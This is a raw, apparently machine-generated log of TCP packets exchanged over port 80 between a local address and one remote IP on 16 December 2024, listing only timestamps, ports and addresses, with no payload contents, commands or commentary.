Dec 16, 2024 17:02:13.514851093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.515607119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.515650988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.515862942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.515903950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.516591072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.516638994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.516755104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.516793013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.517580986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.517618895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.517726898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.517764091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.518620968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.518659115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.518765926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.518806934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.519870043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.519913912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.519939899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.519975901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.520811081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.520857096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.520880938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.520915985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.521902084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.521944046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.522001028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.522039890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.522912979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.522950888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.523027897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.523075104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.524080992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.524126053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.524132967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.524168015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.525495052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.525510073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.525538921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.525549889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.526845932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.526859999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.526896954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.526912928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.527225971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.527266979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.527367115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.527404070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.528680086 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.528722048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.528723001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.528815985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.529592037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.529632092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.529649019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.529681921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.531125069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.531136990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.531168938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.531184912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.531682968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.531696081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.531723022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.531733990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.532951117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.532963037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.532994986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.533008099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.669373989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.669492960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.669641972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.669651985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.669672012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.669703960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.669747114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.670458078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.670506954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.670567989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.670609951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.671632051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.671644926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.671675920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.671691895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.672890902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.672903061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.672939062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.673696995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.673743010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.674408913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.674453020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.674920082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.674966097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.675205946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.675250053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.676069021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.676080942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.676115036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.676832914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.676879883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.676928043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.676971912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.678111076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.678122997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.678158045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.681844950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.681857109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.681874990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.681889057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.681894064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.681907892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.681915045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.681921959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.681937933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.681957006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.682383060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.682394028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.682430029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.683907032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.683926105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.683955908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.683969975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.685949087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.685964108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.685998917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.686012983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.686610937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.686623096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.686655045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.686724901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.686736107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.686772108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.687665939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.687710047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.688482046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.688525915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.689865112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.689874887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.689910889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.690412998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.690457106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.690570116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.690613031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.691626072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.691637993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.691674948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.693022013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.693068981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.693161964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.693207979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.694370031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.694380999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.694416046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.694847107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.694891930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.695025921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.695069075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.695806980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.695851088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.695897102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.695940018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.696693897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.696737051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.696785927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.696829081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.697520971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.697561979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.697563887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.697596073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.698333025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.698379993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.698502064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.698544979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.699500084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.699543953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.699599981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.699640989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.700762033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.700809956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.700820923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.700859070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.701654911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.701699018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.701708078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.701750040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.702783108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.702824116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.703037024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.703079939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.703798056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.703836918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.704046965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.704097033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.704930067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.704941034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.704977989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.706207991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.706224918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.706254959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.706273079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.707048893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.707092047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.707356930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.707401037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.708055973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.708098888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.708365917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.708409071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.709141016 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.709183931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.709228992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.709270000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.710289955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.710331917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.710406065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.710447073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.711349010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.711390018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.711508989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.711548090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.712673903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.712683916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.712718964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.713489056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.713534117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.713671923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.713716030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.714581966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.714626074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.714828968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.714874029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.715718985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.715729952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.715766907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.716790915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.716835022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.716850042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.716892004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.717812061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.717854977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.718003035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.718045950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.718844891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.718889952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.719101906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.719146967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.719958067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.720014095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.720165014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.720207930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.721055984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.721101046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.721234083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.721276999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.722389936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.722403049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.722436905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.723236084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.723282099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.723360062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.723403931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.724473953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.724519014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.724967003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.725013018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.725568056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.725611925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.861504078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.861593962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.861679077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.861679077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.861910105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.861967087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.862093925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.862138987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.863095999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.863163948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.863190889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.863234043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.863989115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.864029884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.864209890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.864254951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.865082979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.865128040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.865175962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.865221024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.866272926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.866292953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.866317987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.866344929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.867340088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.867353916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.867388010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.867402077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.868310928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.868355989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.868396997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.868438005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.869379044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.869426966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.869474888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.869518995 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.870824099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.870836020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.870879889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.870909929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.871876001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.871886969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.871923923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.871937037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.872970104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.873003006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.873014927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.873039961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.874083996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.874095917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.874130011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.874145031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.875210047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.875253916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.875340939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.875386953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.876317978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.876368046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.876482964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.876538992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.877032995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.877079964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.877146959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.877188921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.881035089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.881079912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.881138086 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.881154060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.881179094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.881192923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.881419897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.881432056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.881458998 CET	80	49708	31.41.244.11	192.168.2.8
